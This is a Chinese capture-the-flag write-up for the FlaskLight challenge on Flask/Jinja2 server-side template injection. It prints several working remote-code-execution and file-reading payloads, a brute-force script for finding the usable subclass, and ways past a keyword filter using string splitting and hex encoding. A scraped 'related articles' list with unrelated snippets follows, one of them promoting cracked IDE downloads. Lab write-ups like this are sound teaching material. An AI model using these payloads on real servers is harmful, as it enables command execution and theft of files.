BUU40 [CSCCTF 2019 Qual]FlaskLight1【SSTI】
模板:
|
''是个空字符串,''.__class__代表这个空字符串的类是什么(这里是单引号双引号都行)
.__base__表示追踪它的父类,.__subclass__()表示列出它的子类,而[80]表示它的第八十个子类,.__init__在创建类的新实例时自动调用,用于初始化对象的属性,每个类方法(包括__init__)都是一个对象,__globals__就是__init__下的方法(子类)
__globals__是个字典,包含着所有全局变量,其中__builtins__也在里面,而__builtins__是管很多常用的内置函数,比如说eval()呀啥的
__import__和import等价,不同的是__import__可以在后头加个 . 直接调用函数
也可以用['xxxx']代替 .
{{''['__class__']['__base__']['__base__']['__subclasses__']()[78]['__init__']['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
Payload2 没用eval直接open
{{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].open("/flasklight/coomme_geeeett_youur_flek").read()}}
payload3
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
payload4
{{config.__class__.__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
题目:
在源代码中发现用get提交search

存在SSTI

直接套上模板发现不对,我们先一步一步来

"".__class__.__base__按道理来说应该是object但是这里却是basestring,再给他套上一层__base__试试
ok成功出现object
套了两层__base__其实可以等价于?search={{''.__class__.__mro__[2].__subclasses__()}}中的__mro__
再加上subclasses试试:

好的说明这样是对的,不知道哪个类的__init__含有globals
用py搜索
import requests as res
import time
for i in range(0,400):url="http://822ebf30-6568-45d3-a757-7fa1848f0368.node5.buuoj.cn:81/?search={{''.__class__.__base__.__base__.__subclasses__()[%d].__init__['__glob'+'als__']}}"response=res.get(url%i)#访问速度过快会返回429,此时就需要暂缓再访问if response.status_code!=200:time.sleep(0.3)response=res.get(url%i)print(len(response.text),i,response.status_code)
没有一个成功的,没道理啊

这么搜就对

但是加上__globals__就出错了
所以很有可能是过滤掉了globals,一搜还真是

绕过方法:
第一种:拼接
将__globals__替换成['__globals__'],然后再把globals拆开,用 + 连接(py性质)
这里__globals__和['__globals__']有什么区别呢?
['__globals__']是尝试以字典键的形式访问__init__对象的__globals__属性

人话就是,如果你访问__globals__,就是访问函数对象的一个内在属性,如果访问['__globals__']呢,就会触发对象的另一个叫 __getitem__ 方法



测试一下search=glo'+'bal。。。怎么被腰斩了,哦原来+在url中被翻译成空格啊

但是在['__glob'+'al__']里面就能正常拼接,原因是在这里面需要经过python编译,python编译时候自动拼接,但是在url中直接提交会被翻译成连接符号


试着RCE,成功
/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('ls /').read()")}}

/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('cat flasklight').read()")}}
cat不行,里面啥也没有,所以flasklight是个文件夹(这个玩意没有后缀,早该知道是个文件夹的)
/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('ls flasklight').read()")}}

/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

第二种:十六进制,unicode编码
WAF/过滤器无法直接识别编码后的字符串,但模板引擎仍能解析为原始属性名。
十六进制编码:
# 原始字符串
target = "__globals__"# 转换为 \xHH 格式的十六进制编码
hex_encoded = ''.join([f"\\x{ord(c):02x}" for c in target])
# 结果:\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f
这个绕过的比拆分更多
ai比我会呜呜呜

全部用十六进制:
/?search={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]%20["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[X].__init__["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]}}
实际上就是search={{"".__class__.__base__.__base__.subclasses()[78].__init__.__globals__}}
用十六进制编码以后再用 [ ] 括起来
这里__init__不能被十六进制编码
十六进制编码和正常payload混在一块写就行
/?search={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"] ["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[78].__init__["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

其他一些payload或者可用的危险函数:
_frozen_importlib_external.FileLoader 类:该类下有get_data函数可以实现读取文件
''.__class__.__base__.__subclasses__()[xx]["get_data"](0,"/etc/passwd")
importlib 类:importlib类中的load_module可以引用os
{{''.__class__.__base__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}
subprocess.Popen 类
{{''.__class__.__base__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
SSTI的一些总结
- __builtins__里面用open('xxx.txt').read()语句可以打开阅读文件
- 这个还有另一种写法就是''['__class__']['__init__']['__globals__']['__builtins__']['eval'](__import__('os').popen('cat xxx').read())
- ['os']模块里面有listdir('/'),可以列出根目录
-
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }}{% endif %}{% endif %} {% endfor %} {% endif %}{% endfor %}这里面b.keys():字典对象的
keys()方法会返回一个包含该字典所有键的视图对象,in运算符用于字典时默认就是检查键,所以'eval' in b和'eval' in b.keys()是等价的。因此,模板代码可以简化为{% if 'eval' in b %}。
参考
SSTI(模板注入)--Flask(萌新向) | [BUUCTF题解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI) - Article_kelp - 博客园
[CSCCTF 2019 Qual] FlaskLight_[cscctf 2019 qual]flasklight-CSDN博客
相关文章:
BUU40 [CSCCTF 2019 Qual]FlaskLight1【SSTI】
模板: {{.__class__.__base__.__subclasses__()[80].__init__.__globals__[__builtins__].eval("__import__(os).popen(type flag.txt).read()")}} 是个空字符串,.__class__代表这个空字符串的类是什么(这里是单引号双引号都行&a…...
WiFi IEEE 802.11协议精读:IEEE 802.11-2007,6,MAC service definition MAC服务定义
继续精读IEEE 802.11-2007 6,MAC service definition MAC服务定义 6.1 MAC服务概述 6.1.1 数据服务 此服务为对等逻辑链路控制(LLC)实体提供交换MAC服务数据单元(MSDU)的能力。为支持此服务,本地媒体访…...
2025学年安徽省职业院校技能大赛 “信息安全管理与评估”赛项 比赛样题任务书
2024-2025 学年广东省职业院校技能大赛 “信息安全管理与评估”赛项 技能测试试卷(五) 第一部分:网络平台搭建与设备安全防护任务书第二部分:网络安全事件响应、数字取证调查、应用程序安全任务书任务1 :内存取证&…...
VAE变分自编码器的初步理解
VAE的结构和原理 VAE由两部分组成: 编码器(Encoder): 编码器负责将输入数据(例如图像)压缩成一个潜在空间(latent space)的表示。这个潜在空间不是一个固定的值,而是一个…...
2025 最新版鸿蒙 HarmonyOS 开发工具安装使用指南
为保证 DevEco Studio 正常运行,建议电脑配置满足如下要求: Windows 系统 操作系统:Windows10 64 位、Windows11 64 位内存:16GB 及以上硬盘:100GB 及以上分辨率:1280*800 像素及以上 macOS 系统 操作系统…...
Rider 安装包 绿色版 Win/Mac/Linux 适合.NET和游戏开发者使用 2025全栈开发终极指南:从零配置到企业级实战
下载链接: https://pan.baidu.com/s/1cfkJf6Zgxc1XfYrVpwtHkA?pwd1234 导语:JetBrains Rider以跨平台支持率100%、深度.NET集成和智能代码分析能力,成为2025年全栈开发者的首选工具。本文涵盖环境配置、核心功能、框架集成、性能调优、团队…...
Python常见面试题的详解24
1. 如何对关键词触发模块进行测试 要点 功能测试:验证正常关键词触发、边界情况及大小写敏感性,确保模块按预期响应不同输入。 性能测试:关注响应时间和并发处理能力,保证模块在不同负载下的性能表现。 兼容性测试:测…...
手机打电话时如何识别对方按下的DTMF按键的字符-安卓AI电话机器人
手机打电话时如何识别对方按下的DTMF按键的字符 --安卓AI电话机器人 一、前言 前面的篇章中,使用蓝牙电话拦截手机通话的声音,并对数据加工,这个功能出来也有一段时间了。前段时间有试用的用户咨询说:有没有办法在手机上ÿ…...
RabbitMQ操作实战
1.RabbitMQ安装 RabbitMQ Windows 安装、配置、使用 - 小白教程-腾讯云开发者社区-腾讯云下载erlang:http://www.erlang.org/downloads/https://cloud.tencent.com/developer/article/2192340 Windows 10安装RabbitMQ及延时消息插件rabbitmq_delayed_message_exch…...
IDEA 2024.1 最新永久可用(亲测有效)
今年idea发布了2024.1版本,这个版本带来了一系列令人兴奋的新功能和改进。最引人注目的是集成了更先进的 AI 助手,它现在能够提供更复杂的代码辅助功能,如代码自动补全、智能代码审查等,极大地提升了开发效率。此外,用…...
【R包】pathlinkR转录组数据分析和可视化利器
介绍 通常情况下,基因表达研究如微阵列和RNA-Seq会产生数百到数千个差异表达基因(deg)。理解如此庞大的数据集的生物学意义变得非常困难,尤其是在分析多个条件和比较的情况下。该软件包利用途径富集和蛋白-蛋白相互作用网络&…...
RPA 与 AI 结合:开启智能自动化新时代
RPA 与 AI 结合:开启智能自动化新时代 在当今数字化快速发展的时代,企业面临着海量的数据处理和复杂的业务流程,如何提高效率、降低成本、优化业务流程成为了企业关注的焦点。而 RPA(Robotic Process Automation,机器…...
[免费]Springboot+Vue在线文档管理系统【论文+源码+SQL脚本】
大家好,我是java1234_小锋老师,看到一个不错的SpringbootVue在线文档管理系统,分享下哈。 项目视频演示 【免费】SpringBootVue在线文档管理系统 Java毕业设计_哔哩哔哩_bilibili 项目介绍 随着科学技术的飞速发展,社会的方方面…...
内容选题与商业布局
内容选题与商业布局 提示词 1:人群链(User Chain)提示词 2:需求链(Demand Chain)提示词 3:环境 需求 优势 三要素提示词 4:垂直于“人性”而非只“赛道”提示词 5:基于…...
文字描边实现内黄外绿效果
网页使用 <!DOCTYPE html> <html> <head> <style> .text-effect {color: #ffd700; /* 黄色文字 */-webkit-text-stroke: 2px #008000; /* 绿色描边(兼容Webkit内核) */text-stroke: 2px #008000; /* 标准语法 *…...
网络协议 HTTP、HTTPS、HTTP/1.1、HTTP/2 对比分析
1. 基本定义 HTTP(HyperText Transfer Protocol) 应用层协议,用于客户端与服务器之间的数据传输(默认端口 80)。 HTTP/1.0:早期版本,每个请求需单独建立 TCP 连接,效率低。HTTP/1.1&…...
千峰React:Hooks(上)
什么是Hooks ref引用值 普通变量的改变一般是不好触发函数组件的渲染的,如果想让一般的数据也可以得到状态的保存,可以使用ref import { useState ,useRef} from reactfunction App() {const [count, setCount] useState(0)let num useRef(0)const h…...
salesforce 为什么无法关闭task,显示:insufficient access rights on object id
在 Salesforce 中,如果你在尝试关闭任务(Task)时遇到 “Insufficient access rights on object id” 错误,通常是由于以下几种可能的权限问题导致的: 1. 任务的所有权问题 Salesforce 中的任务(Task&…...
机器学习:强化学习的epsilon贪心算法
强化学习(Reinforcement Learning, RL)是一种机器学习方法,旨在通过与环境交互,使智能体(Agent)学习如何采取最优行动,以最大化某种累积奖励。它与监督学习和无监督学习不同,强调试错…...
MongoDB—(一主、一从、一仲裁)副本集搭建
MongoDB集群介绍: MongoDB 副本集是由多个MongoDB实例组成的集群,其中包含一个主节点(Primary)和多个从节点(Secondary),用于提供数据冗余和高可用性。以下是搭建 MongoDB 副本集的详细步骤&am…...
分享 种 .NET 桌面应用程序自动更新解决方案扇
一、Actor 模型:不是并发技巧,而是领域单元 Actor 模型的本质是: Actor 是独立运行的实体 Actor 之间只通过消息交互 Actor 内部状态不可被外部直接访问 Actor 自行决定如何处理收到的消息 Actor 模型真正解决的是: 如何在不共享状…...
ag-Grid 动态合并单元格实战:基于条件样式的行合并技巧
1. 初识ag-Grid合并单元格 第一次看到ag-Grid的合并单元格效果时,我正为一个客户管理系统头疼——表格里重复的省份和性别字段让数据显得杂乱无章。直到发现rowSpan这个神奇属性,才明白原来数据表格可以像Excel那样优雅地合并相同内容。 ag-Grid的合并单…...
工业五官:09 传感器最容易坏在哪里?工程师最怕的10个坑
09 传感器最容易坏在哪里?工程师最怕的10个坑 传感器这“小五官”,平时不显山露水,可一罢工,整条产线立马“瞎了眼”。我见过一个接近传感器松了,传送带空跑了俩小时,损失好几万。师傅们常说:“传感器坏了比人感冒还麻烦!”今天咱不讲高大上的理论,就聊安装、校准、故…...
别再手写Verilog了!用Simulink HDL Coder快速搭建FPGA原型(附避坑指南)
从算法模型到硬件实现:Simulink HDL Coder高效FPGA开发实战 在数字信号处理和通信系统开发领域,FPGA因其并行计算能力和可重构特性成为算法加速的理想平台。然而,传统手写Verilog/VHDL的开发模式存在几个显著痛点:开发周期长&…...
忍者像素绘卷:天界画坊C++高性能推理引擎封装实战
忍者像素绘卷:天界画坊C高性能推理引擎封装实战 1. 为什么需要高性能推理引擎 在游戏开发和工业软件领域,实时图像生成和处理对性能要求极高。传统的Python推理框架虽然易用,但在延迟敏感场景下往往力不从心。这就是我们需要用C打造专属推理…...
基于Visio的Qwen3-ASR系统架构设计图解
基于Visio的Qwen3-ASR系统架构设计图解 1. 引言 系统架构图是技术项目的重要沟通工具,它能直观展示组件关系、数据流向和整体设计思路。对于Qwen3-ASR这样的复杂语音识别系统,一个清晰的架构图能帮助团队成员快速理解系统全貌,减少沟通成本…...
有限状态自动机(DFA)在文本处理中的高效应用与实现
1. 有限状态自动机(DFA)到底是什么? 第一次听到"有限状态自动机"这个词时,我也是一头雾水。后来在实际项目中用了几次才发现,它其实就是个"智能开关"——根据不同的输入条件,在预设的几…...
ThinkPHP 8+ES的生命周期的庖丁解牛
它的本质是:PHP 应用作为客户端,通过 HTTP 协议与 ES 集群进行交互。这个过程涉及 JSON 序列化/反序列化、HTTP 连接管理、倒排索引的异步构建以及最终一致性的等待。与 MySQL 的同步事务不同,ES 的操作通常是“近实时 (NRT)”的,…...
PCA vs PCoA vs NMDS vs LDA vs t-SNE:5种降维方法的核心差异与应用场景解析
1. 降维方法的基本概念与核心价值 当你面对一个包含数百个特征的数据集时,就像站在一个装满各种调料的厨房里——每个瓶子看起来都很重要,但真正做菜时可能只需要其中几种。这就是降维技术的用武之地,它能帮我们从高维数据的"调料架&quo…...
造相Z-Image模型v2提示词工程进阶:结构化Prompt构建方法
造相Z-Image模型v2提示词工程进阶:结构化Prompt构建方法 用对方法,让AI真正听懂你的创意 不知道你有没有这样的经历:脑子里有个特别棒的画面,但用Z-Image生成出来的结果总是差那么点意思。要么细节不对,要么风格跑偏&a…...
